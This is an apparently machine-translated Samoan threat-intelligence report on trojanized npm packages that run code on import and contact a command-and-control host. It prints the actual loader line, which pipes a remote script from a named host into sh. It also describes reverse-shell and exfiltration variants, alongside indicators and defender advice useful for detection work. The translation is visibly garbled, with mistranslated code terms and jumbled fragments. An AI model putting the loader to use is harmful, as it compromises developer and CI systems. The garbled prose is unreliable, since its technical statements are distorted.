TL; AMA
Ua lomia se tasi o le npm operator afifi e lima ua fa'a-trojanized i ni taamilosaga se lua i aso e tolu. O afifi e foliga mai o ni mea faigaluega laiti o le terminal-color, logger, ma le Postgres-client. E tamoe le code leaga le taimi lava e aumai ai le afifi — e leai se tusitusiga fa'apipi'i e pu'eina.
Ta'amilosaga tasi (neon-terminal, neon-postgres, ne-logger) sa le'i lolomiina i le 2026-07-05 i le 14:14 UTC. Fitu sefulu fa minute mulimuli ane o le tala lava lea e tasi na toe lolomiina le trojan lava lea e tasi i lalo o igoa fou (agn-terminal, agn-logger) — ma faasino atu i le tutusa le i'uga o le fa'atonuga ma le pulea sa faʻaaogaina muamua: tracker.bvgroup.co.
O le C2 host o le tasi lea fa'ailoga e sao mai le toe fa'aigoaina, ma o le mea sili ona vave e sailia e se tagata puipuia. maualuga. Siosiomaga: npmO afifi o le taamilosaga lona lua sa i ai pea i le taimi na tusia ai lenei mea.
O le osofaʻiga: le auala e galue ai
O afifi o ni mea fa'a'ole'ole aoga. Tatala agn-terminal ma e te mauaina se fesoasoani lanu ANSI atoatoa ma aoga — tulafono laiti, lagolagoinaLanu, valivali, vali — fa'atasi ai ma ituaiga ma se README. E aoga le code o le utility. O lo'o fa'amau i le pito i luga o le entry module, i luga a'e o le code aoga, o lo'o i ai ni nai laina e fa'atino i le import.
// agn-terminal 0.1.0 — src/index.js (top of module) import { exec } from "node:child_process"; const child = exec( "curl -fsSL https://remote.agyn.org/remote.sh | " + "TRACKER_REMOTE_ENDPOINT='https://tracker.bvgroup.co/remote/…' sh", {}, (error, stdout, stderr) => {}, ); E tolu mea e aogā ai lenei mea.
- E fa'agaoioi i le taimi e fa'aulufale mai ai, ae le o le taimi e fa'apipi'i ai. Ua ta'utino mai e le afifi leai mua'i fa'apipi'i or pe a uma ona fa'apipi'i matau — o le nofoaga masani e vaʻai i ai tagata suʻesuʻe ma tagata iloilo. exec O le vala'au o se code tulaga-modula. E fa'agaoioia i le taimi muamua e faia ai e se mea mana'omia ("agn-terminal") or fa'aulufale mai le "agn-terminal", i luga o le masini a le tagata atia'e po'o totonu o le CI. O le ulufalega ESM uma e lua (src/index.js) ma le fa'amaumauga a le CommonJS (cjs/src/index.js) e tauaveina le uta tutusa, o lea e ufiufi uma ai polokalama uma e lua o module.
- O le uta moni e ola ese mai le afifi. E na'o le tasi le laina o le stager e lafo mai e le afifi: fetch remote.agyn.org/remote.sh` ma fa'apipi'i i le sh`. O le mea lava e tautua e le operator mai lena URL i le taimi e talosagaina ai, o le mea lea e faʻagaoioia. O le C2 endpoint e tuʻuina atu i le script na sii mai e ala i le TRACKER_REMOTE_ENDPOINT fesuia'iga o le siosiomaga, o lea e telefoni atu ai le tusitusiga o le vaega lua i le fale tracker.bvgroup.co.
- E fa'alauteleina e se afifi feavea'i le lautele o le pa. agn-logger o se fa'asesē lona lua — o se "tama'i logger lalolagi atoa." E leai sona lava uta. O lana vaega ulufale e faia se mea talafeagai e tasi:
// agn-logger 0.1.0 — cjs/src/index.js const { colorize, supportsColor } = require('agn-terminal'); Ua tautino mai agn-terminal o se faʻalagolago ma faʻaulufale mai. O le faʻapipiʻiina poʻo le faʻaulufaleina mai o le logger e tosoina mai ma faʻagaoioia ai le afifi terminal i se taimi faʻasolosolo. O se galuega faatino e le taʻua saʻo le Trojan e mafai lava ona faʻatinoina e ala i le logger.
O le ā le mea fou iinei
O le taamilosaga muamua e leʻi faʻaaogaina se masini faʻatino mamao. Na lafoina le uta i totonu ma faʻateleina lona lomiga i lea lomiga - o se bash reverse shell i le tasi faʻasalalauga, o se upega.Socket atigi fa'afeagai i le isi, a git fa'aopoopo/commit/tulei o le faila faigaluega a le tagata ua afaina i se isi faila, ma mulimuli ane o se sui atoa o le HTTP command-and-control i totonu nofoaga autu o le neon 0.9.0 lea na resitalaina ai le 'au talimalo, faia ni su'esu'ega mo galuega, ma fa'atinoina i latou fa'atonu(), ma toe fa'asalalauina le fa'ai'uga ua fa'ailogaina i le base64. O le ta'amilosaga lona lua e fa'apipi'i uma na mea i totonu o se fa'amaumauga e tasi milo | sh, ua aveese atoa le vaega lua mai le resitala. O le tagata fa'agaoioia lava e tasi, o le afifi e sili atu le filemu, o le uta e sili atu ona fetuutuunai — ma, o le mea e sili ona taua, o le C2 lava lea e tasi e pei ona muamua.
taimi faatulagaina
E tolu aso le va o taamilosaga e lua, ma o le va i le va o le aveeseina ma le toe faʻalauiloa e 74 minute. Ua tatala le tauvaga: le agn-* e leʻi aveeseina afifi ina ua tusia lenei mea.
Fa'ailoga o le fetu'una'iga
Saili faila loka ma laau faalagolago mo igoa o afifi. Saili le proxy, DNS, ma EDR ogalaau mo nofoaga e gata ai feso'ota'iga. O le 'au talimalo C2 tracker.bvgroup.co e aofia ai taamilosaga uma e lua ma o le fa'ailoga e tasi e sili ona maualuga le taua.
afifi
nofoaga autu o le neon O le 0.1.0 o se fatu mama — o se faletusi lanu e galue e aunoa ma se uta — na lolomiina e faʻatuina ai le afifi aʻo leʻi mulimuli mai lomiga leaga.
Network
Faʻaaloalo
- Module-tulaga faiga_tamaiti.exe i le pito i luga o le faila ulufale o le afifi aoga, i itu uma e lua src/index.js (ESM) ma cjs/src/index.js (CJS).
- A curl -fsSL … | sh laina e tasi ma le C2 ua pasia e ala i se TRACKER_REMOTE_ENDPOINT siosiomaga.
- O le afifi lona lua "utility" e faʻalauiloa ai le muamua o se faʻalagolago ma faʻaulufale mai, e aunoa ma se uta o ia lava.
- O se mea e totoe // neon-terminal fa'amatalaga i le pito i luga o agn-terminal — o se mea faitino e kopi ma faapipii e fesoʻotaʻi ai le toe faʻailoga i le uluai tusiga.
Fa'ailoga o faila (SHA-256, ta'amilosaga lua)
- agn-terminal src/index.js - 6d464cedf64f3a26fb8f5e61ee5730fe42be4135aa87429aeb514c4f97209bc7
- agn-terminal cjs/src/index.js - b85e80056a7607c49add12c1626881392a28e7d0e146e49a856d84725cfb46ac
- agn-logger src/index.js - 667a858c749d058d4546654cdda59e963a1a0cba97900feeb96753c2d768ff19
Fa'asinomaga ma amioga na matauina
O afifi uma e fa'asino i le tasi tala npm, vitalii-agyn, lolomiina i lalo o le imeli e le'i fa'amaoniaina vitalii@agyn.io. O le fa'amaumauga o le resitala a le teugatupe lava ia e lisiina uma afifi ta'amilosaga muamua e tolu e pei ona tausia e ia. O le fausaga fa'avae e fa'afeso'ota'i fa'atasi ta'amilosaga: o le vaega ole initaneti agyn.org e fetaui ma le lomitusi agyn.io 'upega tafa'ilagi imeli, ma le 'au'aunaga C2 tracker.bvgroup.co e aliali mai i itu uma e lua nofoaga autu o le neon 0.9.0 ma agn-terminal 0.1.0 — le ala lava lea e tasi e aoina ai, toe fa'aaogaina sa'o pe a uma ona toe fa'aigoaina.
Matou te faʻamatalaina mea o loʻo faʻaalia i meafaitino ma taofi iina. O le imeli a le lomitusi na taʻua o le vitalii@agyn.io; matou te leʻi faʻamaonia le pule o lena tuatusi, ma matou te le faʻatatauina le teugatupe i se tagata poʻo se vaega ua faaigoaina. O le toe faʻaaogaina o le tasi C2 endpoint i luga o ni aiga afifi se lua o se faʻailoga malosi lea o le tasi-operator, ae le o se faasinomaga.
O afifi faataamilomilo e faalagolago i le tuaoi o le ituaiga. neon-postgres o se kopi atoa o le Porsager's na fa'aaogaina lautele postgres.js tagata fa'atau, fa'aupuga ma mea uma, fa'atasi ai ma le uta ua fa'apipi'i i totonu src/errors.js o lea o le a oʻo atu i ai se ala faʻaulufale masani - ma le neon o le prefix e fa'aaogā ai le iloagofie o Neon, le tautua Postgres e leai ni 'au'aunaga. O igoa ta'amilosaga lua na fa'aleaogaina le fa'ata'ita'i ma avea ma mea masani (agn-terminal, agn-logger), fesuia'i le tosoina o se fa'ailoga mo se malologa mama mai igoa ua mu.
A'afiaga, aga masani, ma le ta'iala a le au puipui
- O ai ua fa'aalia. So'o se tasi e fa'apipi'i ma fa'aulufale mai se tasi o nei afifi, tu'usa'o pe ala i le kamupani e feavea'i ai, i luga o se 'au'aunaga e pei o le Unix. E fa'aaogaina e le stager curl ma sh; e faʻaaoga e atigi lapotopoto bash ma /dev/tcp. Talu ai ona e faia le fa'atinoina i le taimi e fa'aulufale mai ai, o se 'au'aunaga fausia e fa'apipi'i le fa'alagolago ma fa'agaoioia so'o se code e pa'i i ai ua lava lea - e leai se la'asaga e mana'omia pe a uma le fa'apipi'iina. I luga o se nofoaga faigaluega a le atina'e po'o se CI runner, o le la'asaga lua ua siiina mai e fa'agaoioia ma fa'amanuiaga a le tagata fa'aoga ma le a'apa atoa o le feso'ota'iga.
- Aiseā e tāua ai le fa'atinoina o le taimi e fa'aulufale mai ai. Ua taulaʻi atu puipuiga o le sapalai-faʻatau i tusitusiga faʻapipiʻi, ma mo se mafuaʻaga lelei - o le postinstall o le tulaga masani lea o le npm. O lenei tauvaga e ʻaloʻese atoa mai lena mea. E leai se matau faʻapipiʻi e faʻailogaina. O le code leaga o le amataga masani lea o le module, e lē mafai ona iloa i le tilotilo tasi mai se afifi o loʻo faʻaogaina se laulau suʻesuʻe i le taimi e uta ai. O meafaigaluega e naʻo le siakiina o tusitusiga i le package.json e leai se mea e vaʻaia.
- O le aga masani o le toe fa'ailogaina ma le toe fa'aaogaina. O le 74-minute le umi o le galuega o le tala lea. Na aveese e le Takedown igoa ae le o le kamupani, le fausaga, po o le code. I totonu o le itula na toe ola ai le tauvaga i lalo o igoa fou e faasino i le C2 lava e tasi. O le poloka e faavae i igoa — le teena o le lisi neon-terminal — semanu ua leva ona tuai. O le poloka e faavae i fausaga — le teena o le lisi bvgroup.co — semanu e maua le taamilosaga lua i le taunuu mai. Mo se kamupani ola e toe lolomi vave atu nai lo le aveeseina e le resitala, o le faailoga tumau o le network endpoint, ae le o le igoa o le afifi.
Le mea e fai nei
- Grep lockfiles ma fa'apipi'i la'au mo igoa uma e lima o afifi o lo'o i luga. Taulima so'o se mea e fetaui ma se 'au'aunaga ua fa'aleagaina ma fa'aliliu fa'amaoniga e mafai ona maua mai ai.
- Poloka ma lapata'i i luga o 'upega tafa'ilagi bvgroup.co, agyn.org, ma fa'ai'uga o le ngrok i le DNS ma le fa'amamāina o le ala ese. tracker.bvgroup.co o le faamuamua.
- Aua le fa'alagolago na'o le su'esu'eina o le fa'apipi'i. Fa'aopoopo le iloa mo le tulaga o le module child_process ma vala'au feso'ota'iga i mea e fa'alagolago i ai, ma mo pi'o … | sh mamanu i le punaoa o le afifi.
- Taulima se afifi meafaigaluega e folafola mai ai se isi meafaigaluega e le masani ai e avea ma ona faalagolagoga e tasi, ma faaulufale mai i le taimi e uta ai, e pei e taua le toe tilotilo i ai.
- I le CI, e sili atu –Faʻatuatuaga-tusitusiga pe a talafeagai, ae ia malamalama e le fesoasoani iinei - e tamo'e le uta i le taimi e fa'aulufale mai ai, o lea e sili atu le taua o le puleaina o le alu ese mai le taimi e fa'agaoioia ai ma le iloiloga o le fa'alagolago.
mau faasino
- Postgres e leai ni 'au'aunaga Neon — le fa'ailoga neon-* e nono mai igoa i le iloaina.
- Porsager postgres.js — le tagata faʻatau neon-postgres kopiina.
